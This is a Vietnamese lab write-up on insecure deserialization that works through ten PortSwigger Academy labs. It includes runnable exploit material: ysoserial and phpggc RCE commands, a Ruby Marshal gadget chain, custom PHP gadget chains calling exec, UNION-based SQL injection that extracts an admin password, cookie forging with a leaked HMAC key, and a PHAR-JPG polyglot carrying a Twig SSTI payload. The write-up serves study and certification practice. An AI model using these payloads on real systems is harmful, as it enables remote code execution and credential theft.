@iamproz2911 **Lỗ hổng Insecure deserialization là lỗ hổng nguy hiểm và tồn tại ở rất nhiều ngôn ngữ. Bài viết gồm 2 phần là: +Lý thuyết +Khai thác các bài Lab của Postswiger về lỗ hổng này.** ### **1. Lý thuyết** -Lỗ hổng Deserialize (hay còn gọi là Deserialization Vulnerability) xảy ra khi một ứng dụng không xử lý đúng cách dữ liệu được giải tuần tự (deserialize). Đây là quá trình chuyển đổi dữ liệu từ định dạng chuỗi (string) về dạng đối tượng hoặc cấu trúc dữ liệu mà chương trình có thể xử lý được. -Nguyên nhân: Ứng dụng chấp nhận và xử lý dữ liệu đầu vào từ người dùng hoặc nguồn không đáng tin cậy mà không kiểm tra cẩn thận. Thiếu kiểm tra và xác thực dữ liệu trong quá trình giải tuần tự, dẫn đến việc dữ liệu độc hại có thể được giải tuần tự thành các đối tượng hoặc mã lệnh không an toàn. -Các ngôn ngữ: Java, .Net, Python, NodeJS, Ruby, PHP ... ### **2. Lab Portswigger Insecure deserialization** ### **Lab1: Modifying serialized objects** #### Mô tả: This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the laedit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user carlos. You can log in to your own account using the following credentials: wiener:peter #### Exploit: B1: Đăng nhập với tài khoản đã cho và bắt request ![image](https://hackmd.io/_uploads/B1lMvlosC.png) ![image](https://hackmd.io/_uploads/HJSHDljoC.png) B2: Nhận thấy cookie là một chuỗi đã được serialize, trong đó thông tin về người dùng (username và quyền hạn) được mã hóa(Base64) Đưa vào Inspector ![image](https://hackmd.io/_uploads/HJrpDeioA.png) B3: Tiến hành sửa lại chuỗi cookie (s:5:"admin";: Thuộc tính thứ hai có tên là admin, với độ dài là 5 ký tự, giá trị là 0 (boolean false)). =>Đổi giá trị từ 0->1 để trở thành admin ![image](https://hackmd.io/_uploads/ByP4_lisC.png) B4: Truy cập vào trang admin và xóa username Carlos và hoàn thành Lab ![image](https://hackmd.io/_uploads/HkZsOeisA.png) ![image](https://hackmd.io/_uploads/ByD6OessC.png) ------------------------------------------------------------------------------------------------------------------------ ### **Lab2:Modifying serialized data types** #### Mô tả: This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete the user carlos. You can log in to your own account using the following credentials: wiener:peter #### Exploit: Tương tự bài trên cookie là một chuỗi dữ liệu đã được serialize ![image](https://hackmd.io/_uploads/HkD0Fgoi0.png) B1: Thay đổi dữ liệu ở Inspector ![image](https://hackmd.io/_uploads/ByA0tgoiA.png) Thay đổi username(wiener) -> adminstrator (đổi luôn độ dài tương ứng s:13) Cập nhật nhãn loại dữ liệu cho mã thông báo truy cập bằng cách thay thế s bằng i. Bỏ luôn dấu ngoặc kép vì không còn là chuỗi. B2: Apply Changes O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;} ![image](https://hackmd.io/_uploads/ry79qxoj0.png) B3: Truy cập tới trang admin và xóa username carlos, hoàn thành lab2 ![image](https://hackmd.io/_uploads/Bka2ceijA.png) ![image](https://hackmd.io/_uploads/SkdCqlisC.png) -------------------------------------------------------------------------------------------- ### **Lab3: Using application functionality to exploit insecure deserialization** #### Mô tả: This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos's home directory. You can log in to your own account using the following credentials: wiener:peter You also have access to a backup account: gregg:rosebud #### Exploit: B1: Đăng nhập với tài khoản đã cho và quan sát request Web có chức năng upload ảnh và xóa account ![image](https://hackmd.io/_uploads/Sk0_ieijA.png) B2:Tải thử một ảnh lên và quan sát burpsuite ![image](https://hackmd.io/_uploads/SyKk2gii0.png) Vẫn chưa có gì để khai thác B3: Sử dụng chức năng xóa tài khoản (còn một account backup :))) Nhận thấy khi xóa tài khoản thì avatar cũng bị xóa đi. ![image](https://hackmd.io/_uploads/SJm81-isC.png) avatar_link thay đổi link avatar thành link file cần xóa /home/carlos/morale.txt B4: Dùng tài khoản backup và sử dụng intercept để bắt request (Tránh bị xóa tài khoản trước khi sửa link avatar) Đổi thêm số kí tự từ 18 thành 23 tương ứng s:23 /home/carlos/morale.txt ![image](https://hackmd.io/_uploads/BJbUeboo0.png) B5: Tắt Intercept, lúc này tài khoản đã xóa và đường dẫn tới file morale.txt cũng sẽ xóa file ![image](https://hackmd.io/_uploads/HJqUeWoiC.png) --------------------------------------------------------------------------------------------- ### **Lab4:Arbitrary object injection in PHP** #### Mô tả: This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos's home directory. You will need to obtain source code access to solve this lab. You can log in to your own account using the following credentials: wiener:peter #### Exploit: B1: Đăng nhập với tài khoản đã cho và quan sát request ![image](https://hackmd.io/_uploads/rJL7WWojC.png) truy cập /libs/CustomTemplate.php để xem file(Sử dụng ~ để đọc file PHP) ![image](https://hackmd.io/_uploads/r1wPb-ioR.png) B2: Quan sát file code nhận thấy lớp CustomTemplate chứa megic method __struct(). Điều này sẽ gọi phương thức unlink() trên thuộc tính lock_file_path, phương thức này sẽ xóa tệp trên đường dẫn này. => Tạo cú pháp chính xác cho dữ liệu PHP serialize taoj đối tượng CustomTeplate với thuộc tính lock_file_path = /home/carlos/morale.txt S:14:"lock_file_path;S:23"link" B3: Thay đổi cookie và gửi lại request (Base64) ![image](https://hackmd.io/_uploads/HkQjfZssC.png) ![image](https://hackmd.io/_uploads/rkU2M-os0.png) Server báo 500 Internal Server Error Tuy nhiên Lab đã hoàn thành! ![image](https://hackmd.io/_uploads/rydRfbjsC.png) --------------------------------------------------------------------------------------------- ### **Lab5:Exploiting Java deserialization with Apache Commons** #### Mô tả: This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don't have source code access, you can still exploit this lab using pre-built gadget chains. To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory. You can log in to your own account using the following credentials: wiener:peter #### Exploit: B1: Đăng nhập vào tài khoản đã cho và quan sát request. ![image](https://hackmd.io/_uploads/rkXOQbjs0.png) Chuỗi cookie đã được Encode Base64 B2: Lab đã cho biết sử dụng Apache Commons Thư viện này của Java có thể khai thác Sử dụng tool ysoserial => tạo payload và khai thác https://github.com/frohoff/ysoserial B3: Dùng tool để tạo 1 gadget chain bằng tool ysoserial.(Base64encode) Thử lần lượt các phiên bản từ CommonsCollections1,2,3,4 Payload ``` java -jar ysoserial-all.jar \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ CommonsCollections4 'rm /home/carlos/morale.txt' | base64 ``` Đối với máy kali và phiên bản java >15 của mình Payload như sau: ``` java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 ``` Kết quả: ![image](https://hackmd.io/_uploads/BJgpP-isR.png) B4: Sử dụng payload thay thế chuỗi cookie và gửi request ![image](https://hackmd.io/_uploads/ryJodbji0.png) ![image](https://hackmd.io/_uploads/S1EsdbjjA.png) --------------------------------------------------------------------------------------------- ### **Lab6:Exploiting PHP deserialization with a pre-built gadget chain** #### Mô tả: This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don't have source code access, you can still exploit this lab's insecure deserialization using pre-built gadget chains. To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos's home directory. You can log in to your own account using the following credentials: wiener:peter #### Exploit: Tương tự với Lab5, bài này tạo gadgetchain bằng tool phpggc B1: Đăng nhập với tài khoản đã cho và kiểm tra request ![image](https://hackmd.io/_uploads/HJNYFZoi0.png) *Lưu ý rằng cookie chứa mã thông báo được mã hóa Base64, được ký bằng hàm băm SHA-1 HMAC.* Phát hiện đường dẫn tới file phpinfo ![image](https://hackmd.io/_uploads/ryJ3F-iiC.png) Tìm thấy secretkey: u186ooikfra3m1vhquv7wkrub4718u3q ![image](https://hackmd.io/_uploads/HJLlqZss0.png) B2: Tạo Payload bằng tool PHPGGC Chỉnh sửa cookie bằng Inspector website sinh ra lỗi ![image](https://hackmd.io/_uploads/Bkedc-ijC.png) Web sử dụng Symfony version 4.3.6 Và trang web báo phải cần đúng Signature => tạo payload ``` phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 ``` ![image](https://hackmd.io/_uploads/S1C0cWssA.png) Như vậy là đã tạo được đuối tượng serialize (Base64encode) để xóa file morale.txt B3: Tạo cookie hợp lệ chứa payload và ký tên bằng secret key đã lấy trước đó Code PHP để tạo cookie thay đổi object(đã tạo trước đó bằng tool phpgcc) và secretkey ``` <?php $object = "OBJECT-GENERATED-BY-PHPGGC"; $secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP"; $cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}'); echo $cookie; ``` ![image](https://hackmd.io/_uploads/H1rgnWoiA.png) B4: Thay đổi cookie của request bằng payload vừa tạo và gửi đi ![image](https://hackmd.io/_uploads/BJPB3ZsiA.png) ![image](https://hackmd.io/_uploads/Byz83ZsiA.png) --------------------------------------------------------------------------------------------- ### **Lab7:Exploiting Ruby deserialization using a documented gadget chain** #### Mô tả: This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework. To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory. You can log in to your own account using the following credentials: wiener:peter #### Exploit: Tương tự 2 lab trên, tạo gadgetchain Ruby Search tài liệu về cách tạo gadget ruby deserialization gadget chain(https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html B1: Đăng nhập với tài khoản đã cho và quan sát request ![image](https://hackmd.io/_uploads/B1a7TZijA.png) Decode cookie base64 ![image](https://hackmd.io/_uploads/SkSCpZsj0.png) Search tài liệu google thì đây là 1 serialized object của Ruby bằng module marshal. https://ruby-doc.org/core-2.6.3/Marshal.html B2: Tiến hành tạo gadget Code tạo: ``` # Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) require "base64" puts Base64.encode64(payload) ``` Thay đổi lệnh command rm /home/carlos/morale.txt ![image](https://hackmd.io/_uploads/rk1D0-ij0.png) B3: Thay đổi cookie bằng gadgetchain vừa tạo và gửi request đi ![image](https://hackmd.io/_uploads/rJZg1Mii0.png) ![image](https://hackmd.io/_uploads/H1nlyzisC.png) --------------------------------------------------------------------------------------------- ### **Lab8:(Expert) Developing a custom gadget chain for Java deserialization** #### Mô tả: This lab uses a serialization-based session mechanism. If you can construct a suitable gadget chain, you can exploit this lab's insecure deserialization to obtain the administrator's password. To solve the lab, gain access to the source code and use it to construct a gadget chain to obtain the administrator's password. Then, log in as the administrator and delete carlos. You can log in to your own account using the following credentials: wiener:peter Note that solving this lab requires basic familiarity with another topic that we've covered on the Web Security Academy. #### Exploit: Cũng là dạng tạo gadgetchain nhưng trước hết cần đọc code và xác định nơi dính lỗ hổng để tạo. B1: Đăng nhập bằng tài khoản đã cho và quan sát request ![image](https://hackmd.io/_uploads/SJ1RXzjoA.png) Đường dẫn trỏ tới file code /backup/AccessTokenUser.java ![image](https://hackmd.io/_uploads/SkNZNzjoR.png) File code này định nghĩa một lớp Java có tên AccessTokenUser implement Serial cho phép Serialize Không có gì để khai thác Truy cập vào folder backup thì thấy thêm một file code khác ![image](https://hackmd.io/_uploads/rkMuVzjsR.png) /backup/ProductTemplate.java ![image](https://hackmd.io/_uploads/Hk1Y4Mio0.png) Tóm gọn lại file code có vài điểm chú ý ``` public ProductTemplate(String id) { this.id = id; } private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id); } ``` Đầu tiên là hàm ProductTemplate nhận id là tham số trực tiếp, điều này có thể khiến hacker điều khiển được. Hàm Readobject() khi Deserialize , Hàm defultReadobject(), ở đây sử dụng câu lệnh SQL và dính lỗi SQLi vì biến id. => Tạo ProductTemplate serialize object chứa tham số id là payload lỗ hổng SQLi (Và database đang sử dụng là postgresql) Cấu trúc ![image](https://hackmd.io/_uploads/S1kcSMoiC.png) B2: Tạo payload SQli File code tạo payload ``` import data.productcatalog.ProductTemplate; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; class Main { public static void main(String[] args) throws Exception { ProductTemplate productTemplate = new ProductTemplate("Payload"); String serializedObject = serialize(productTemplate); System.out.println("Serialized object: " + serializedObject); ProductTemplate deserializedObject = deserialize(serializedObject); System.out.println("Deserialized data str: " + deserializedObject.getId( ));//+ deserializedObject.num); } private static String serialize(Serializable obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(512); try (ObjectOutputStream out = new ObjectOutputStream(baos)) { out.writeObject(obj); } return Base64.getEncoder().encodeToString(baos.toByteArray()); } private static <T> T deserialize(String base64SerializedObj) throws Exception { try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) { @SuppressWarnings("unchecked") T obj = (T) in.readObject(); return obj; } } } ``` Thay đổi payload ở đây ![image](https://hackmd.io/_uploads/ByNpSfisR.png) Sử dụng UnionBase để đoán số cột ' UNION SELECT NULL -- ![image](https://hackmd.io/_uploads/ry2xIziiC.png) Web báo lỗi không trùng số cột ![image](https://hackmd.io/_uploads/rJm7IMoiC.png) =>Tiếp tục thay đổi số cột cho tới khi web trả về thông báo khác(Hơi mất thời gian) ' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL -- ![image](https://hackmd.io/_uploads/HJcdIfijA.png) Như vậy là database có 8 cột, và dựa vào thông báo trên , cho thấy có thể dùng Cast để sinh ra lỗi và dùng Error U-based SQLi để tìm hiểu tiếp. B3: Sử dụng Error U-Based để tìm ra username password của asminstrator Tận dụng CAST() để trả về nội dung các trường cần xem thông qua lỗi ' UNION SELECT NULL, NULL, 'a', NULL, NULL, NULL, NULL, NULL -- thử để tên cột là string ![image](https://hackmd.io/_uploads/SJ69wMjo0.png) web báo lỗi và hiển thị giá trị phải là integer sau đó in ra giá trị "a" Tận dụng để tìm ra tên table ``` ' UNION SELECT NULL, NULL, NULL, CAST(table_name AS INTEGER), NULL, NULL, NULL, NULL FROM information_schema.tables -- ``` Web xuất ra tên bảng là user ![image](https://hackmd.io/_uploads/rkPbdGjoC.png) Tiếp tục xác định cột bảng user ``` ' UNION SELECT NULL, NULL, NULL, CAST(column_name AS INTEGER), NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='users' -- ``` ![image](https://hackmd.io/_uploads/HJTBuGjs0.png) Tên cột là "username" Để xem username ``` ' UNION SELECT NULL, NULL, NULL, CAST(username AS INTEGER), NULL, NULL, NULL, NULL FROM users -- ``` ![image](https://hackmd.io/_uploads/HyL3uzsoA.png) => username: Administrator Tìm cột khác ngoài username (Not In) ``` ' UNION SELECT NULL, NULL, NULL, CAST(column_name AS INTEGER), NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='users' AND column_name NOT IN ('username')-- ``` => chính là password ![image](https://hackmd.io/_uploads/SkFFFMooA.png) Cuối cùng tìm password là gì ``` ' UNION SELECT NULL, NULL, NULL, CAST(password AS INTEGER), NULL, NULL, NULL, NULL FROM users WHERE username='administrator'-- ``` ![image](https://hackmd.io/_uploads/rkDRYMjsC.png) =>Hiển thị mật khẩu Tổng kết: username=administrator và password: g2g69opkendroweqxh2g B4: Đăng nhập và xóa user Carlos đi là hoàn thành lab ![image](https://hackmd.io/_uploads/HJMSqfosA.png) ![image](https://hackmd.io/_uploads/r1DrqfooC.png) --------------------------------------------------------------------------------------------- ### **Lab9:(Expert)Developing a custom gadget chain for PHP deserialization** #### Mô tả: This lab uses a serialization-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialization to achieve remote code execution. To solve the lab, delete the morale.txt file from Carlos's home directory. You can log in to your own account using the following credentials: wiener:peter #### Exploit: Tương tự với bài trên, tạo gadget chain bằng php, tìm kiếm đọc code và phát hiện lỗ hổng sau đó exploit. B1: Đăng nhập bằng tài khoản đã cho và quan sát request ![image](https://hackmd.io/_uploads/B1fHsGioR.png) Đường dẫn trỏ tới sourcecode ![image](https://hackmd.io/_uploads/BkHUjMjiA.png) (Sử dụng ~ để đọc file) B2: Phân tích code và tìm lỗ hổng có thể khai thác ![image](https://hackmd.io/_uploads/rJPKiGio0.png) ``` <?php class CustomTemplate { private $default_desc_type; private $desc; public $product; public function __construct($desc_type='HTML_DESC') { $this->desc = new Description(); $this->default_desc_type = $desc_type; // Carlos thought this is cool, having a function called in two places... What a genius $this->build_product(); } public function __sleep() { return ["default_desc_type", "desc"]; } public function __wakeup() { $this->build_product(); } private function build_product() { $this->product = new Product($this->default_desc_type, $this->desc); } } class Product { public $desc; public function __construct($default_desc_type, $desc) { $this->desc = $desc->$default_desc_type; } } class Description { public $HTML_DESC; public $TEXT_DESC; public function __construct() { // @Carlos, what were you thinking with these descriptions? Please refactor! $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>'; $this->TEXT_DESC = 'This product is cool in text'; } } class DefaultMap { private $callback; public function __construct($callback) { $this->callback = $callback; } public function __get($name) { return call_user_func($this->callback, $name); } } ?> ``` #### Phân tích code: Mã PHP này định nghĩa một số lớp (CustomTemplate, Product, Description, và DefaultMap) và có thể bị lỗ hổng liên quan đến serialization. Sử dụng 2 phương thức __sleep(): Phương thức này chỉ định các thuộc tính nào sẽ được lưu trữ khi đối tượng được serialize. Trong trường hợp này, nó chỉ lưu default_desc_type và desc. __wakeup(): Phương thức này được gọi khi đối tượng được khôi phục từ trạng thái đã serialize. Nó gọi build_product(), tạo ra một đối tượng Product mới. => Nếu một kẻ tấn công có thể kiểm soát dữ liệu đầu vào cho CustomTemplate, họ có thể tiêm một giá trị độc hại vào thuộc tính desc của đối tượng. Khi đối tượng này được deserialized, __wakeup() sẽ gọi build_product(), cho phép kẻ tấn công tạo ra một đối tượng Product với dữ liệu độc hại. Nếu như $desc là một DefaultMap object và $default_desc_type chính là tham số $name trong hàm __get(), thì $desc->$default_desc_type sẽ trở thành call_user_func($callback, $default_desc_type); Và nếu callback là hàm có khả năng thực thi lệnh hệ thống như exec để thực thi lệnh OS với câu lệnh chính là $default_desc_type B3: Tạo code để gen payload với $default_desc_type- rm /home/carlos/morale.txt ``` <?php class DefaultMap { public $callback; } class CustomTemplate { public $default_desc_type; public $desc; } $b = new DefaultMap(); $b->callback = "exec"; $a = new CustomTemplate(); $a->default_desc_type = "rm /home/carlos/morale.txt"; $a->desc = $b; $payload = serialize($a); print_r($payload); ?> ``` Code này có 2 lớp Lớp DefaultMap: Có một thuộc tính công khai $callback với giá trị là chuỗi "exec". Lớp CustomTemplate: Có hai thuộc tính công khai: $default_desc_type: được gán giá trị là chuỗi "rm /home/carlos/morale.txt". $desc: được gán một đối tượng mới của lớp DefaultMap. =>Sau đó, code tạo một đối tượng mới của lớp CustomTemplate và gán các giá trị cho các thuộc tính của nó. Cuối cùng, đối tượng $a được serialize và in ra kết quả. ![image](https://hackmd.io/_uploads/ByvcTfjoA.png) B4:Dán payload vừa gen ra vào cookie và gửi request ![image](https://hackmd.io/_uploads/r10JAGsj0.png) ![image](https://hackmd.io/_uploads/S1LeCfjj0.png) --------------------------------------------------------------------------------------------- ### **Lab10:(Expert)Using PHAR deserialization to deploy a custom gadget chain** #### Mô tả: This lab does not explicitly use deserialization. However, if you combine PHAR deserialization with other advanced hacking techniques, you can still achieve remote code execution via a custom gadget chain. To solve the lab, delete the morale.txt file from Carlos's home directory. You can log in to your own account using the following credentials: wiener:peter #### Exploit: Sử dụng Phar Serialize để triển khai gadget chain https://www.php.net/manual/en/book.phar.php B1: Đăng nhập bằng tài khoản đã cho và quan sát request ![image](https://hackmd.io/_uploads/r1hEk7jo0.png) Website có chức năng up ảnh, nhưng chỉ được phép những file.jpg (không thể đổi tên như khai thác lỗ hổng FileUpload) ![image](https://hackmd.io/_uploads/SkmoymosC.png) Request khi tải ảnh lên (Không có gì lạ) Truy cập vào folder cgi-bin ![image](https://hackmd.io/_uploads/ryS01mis0.png) Có các source code sau B2: Phân tích code ![image](https://hackmd.io/_uploads/SJxhgx7ioC.png) ``` <?php class CustomTemplate { private $template_file_path; public function __construct($template_file_path) { $this->template_file_path = $template_file_path; } private function isTemplateLocked() { return file_exists($this->lockFilePath()); } public function getTemplate() { return file_get_contents($this->template_file_path); } public function saveTemplate($template) { if (!isTemplateLocked()) { if (file_put_contents($this->lockFilePath(), "") === false) { throw new Exception("Could not write to " . $this->lockFilePath()); } if (file_put_contents($this->template_file_path, $template) === false) { throw new Exception("Could not write to " . $this->template_file_path); } } } function __destruct() { // Carlos thought this would be a good idea @unlink($this->lockFilePath()); } private function lockFilePath() { return 'templates/' . $this->template_file_path . '.lock'; } } ?> ``` và Blog.php ``` <?php require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php'); class Blog { public $user; public $desc; private $twig; public function __construct($user, $desc) { $this->user = $user; $this->desc = $desc; } public function __toString() { return $this->twig->render('index', ['user' => $this->user]); } public function __wakeup() { $loader = new Twig_Loader_Array([ 'index' => $this->desc, ]); $this->twig = new Twig_Environment($loader); } public function __sleep() { return ["user", "desc"]; } } ?> ``` => Nhận xét: -Blog.php sử dụng template twin sử dụng $this->desc tại hàm __wakeup() Cụ thể, $this->desc được sử dụng để tạo một mảng cho Twig template engine. Điều này có nghĩa rằng kẻ tấn công có thể chèn mã Twig độc hại vào $this->desc, và khi đối tượng Blog được giải nén, mã Twig này sẽ được thực thi trên máy chủ. -CustomTemplate chứa magicmethod __destruct() gọi hàm lockFilePath() để lấy tên file trước khi unlink().Trong trường hợp này, phương thức __toString() của Blog sẽ được gọi, có khả năng trigger lại lỗ hổng SSTI tại $this->desc. =>Tóm gọn: Kết hợp hai lỗ hổng này, kẻ tấn công có thể thực hiện một cuộc tấn công như sau: Tạo một đối tượng CustomTemplate với $this->template_file_path là một thể hiện của Blog. Chèn mã Twig độc hại vào $this->desc của Blog. Giải nén đối tượng CustomTemplate, sẽ trigger lại lỗ hổng SSTI tại $this->desc khi __toString() của Blog được gọi. B3:Tạo payload bằng phar jpg polygot LinkGithub chứa mã nguồn([here](https://github.com/kunte0/phar-jpg-polyglot)) ``` <?php function generate_base_phar($o, $prefix){ global $tempname; @unlink($tempname); $phar = new Phar($tempname); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->stopBuffering(); $basecontent = file_get_contents($tempname); @unlink($tempname); return $basecontent; } function generate_polyglot($phar, $jpeg){ $phar = substr($phar, 6); // remove <?php dosent work with prefix $len = strlen($phar) + 2; // fixed $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2); $contents = substr($new, 0, 148) . " " . substr($new, 156); // calc tar checksum $chksum = 0; for ($i=0; $i<512; $i++){ $chksum += ord(substr($contents, $i, 1)); } // embed checksum $oct = sprintf("%07o", $chksum); $contents = substr($contents, 0, 148) . $oct . substr($contents, 155); return $contents; } // our payload class CustomTemplate {} class Blog {} $object = new CustomTemplate; $blog = new Blog; $blog->desc = "{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('rm /home/carlos/morale.txt')}}"; $blog->user = 'user'; $object->template_file_path = $blog; // config for jpg $tempname = 'temp.tar.phar'; // make it tar $jpeg = file_get_contents('in.jpg'); $outfile = 'out.jpg'; $payload = $object; $prefix = ''; var_dump(serialize($object)); // make jpg file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg)); ``` Thực thi code trên sẽ sinh ra được 1 file jpg có chứa filephar có metadata là serialized object Hoặc có thể lấy luôn [ảnh](https://github.com/PortSwigger/serialization-examples/blob/master/php/phar-jpg-polyglot.jpg) của postwiger ![image](https://hackmd.io/_uploads/BJbIQQioA.png) B4: Tải ảnh lên hệ thống và sử dụng PharDeserialize (Phar://) ![image](https://hackmd.io/_uploads/rJMsXXoiR.png) ![image](https://hackmd.io/_uploads/Sy1CX7jjA.png) Gửi Request đi metadata của ảnh được Unserialize và thực hiện lệnh xóa file Morale.txt ![image](https://hackmd.io/_uploads/HJWyNQojA.png) ![image](https://hackmd.io/_uploads/ByTZ4QioA.png) --------------------------------------------------------------------------------------------- **Tài liệu** [Payload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Java.md) [Java](https://github.com/pwntester/ysoserial.net) [Trick](https://book.hacktricks.xyz/pentesting-web/deserialization) [PayloadforAllLanguage](https://github.com/emanuelepicas/UsefulExploits/tree/main) > Bài viết có mục đích nghiên cứu lỗ hổng và học tập ôn thi chứng chỉ của Postswiger!